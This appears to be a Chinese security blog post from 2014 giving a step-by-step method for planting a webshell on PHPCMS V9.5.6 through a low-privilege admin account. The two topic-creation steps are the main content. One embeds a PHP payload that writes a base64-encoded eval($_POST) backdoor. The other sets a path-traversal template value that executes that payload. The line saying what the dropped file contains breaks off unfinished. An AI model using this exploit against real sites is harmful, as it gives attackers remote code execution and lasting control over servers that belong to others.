PHPCMS后台低权限拿webSHELL

PHPCMS程序版本:Phpcms V9.5.6 Release 20140522
过程

1. 添加专题

专题名称:test
专题横幅:/1.jpg
专题缩略图:/1.jpg
专题导读:

<?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==')); ?>

生成静态:是
专题生成目录:test000
专题子分类:test test
其他默认 -> 提交

2. 再次添加专题
专题名称:test1
专题横幅:/1.jpg
专题缩略图:/1.jpg
专题导读:
生成静态:是
专题生成目录:test111
专题子分类:test test
扩展设置
专题模板:value设置为 ../../../../html/special/test000/index
其他默认 -> 提交

会在根目录下面生成 0.php 内容为

本文固定链接: https://www.unhonker.com/bug/1627.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2014年06月28日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: PHPCMS后台低权限拿webSHELL | 90' s Blog|关注网络信息安全
关键字:

PHPCMS后台低权限拿webSHELL:等您坐沙发呢!

发表评论

您必须 [ 登录 ] 才能发表留言!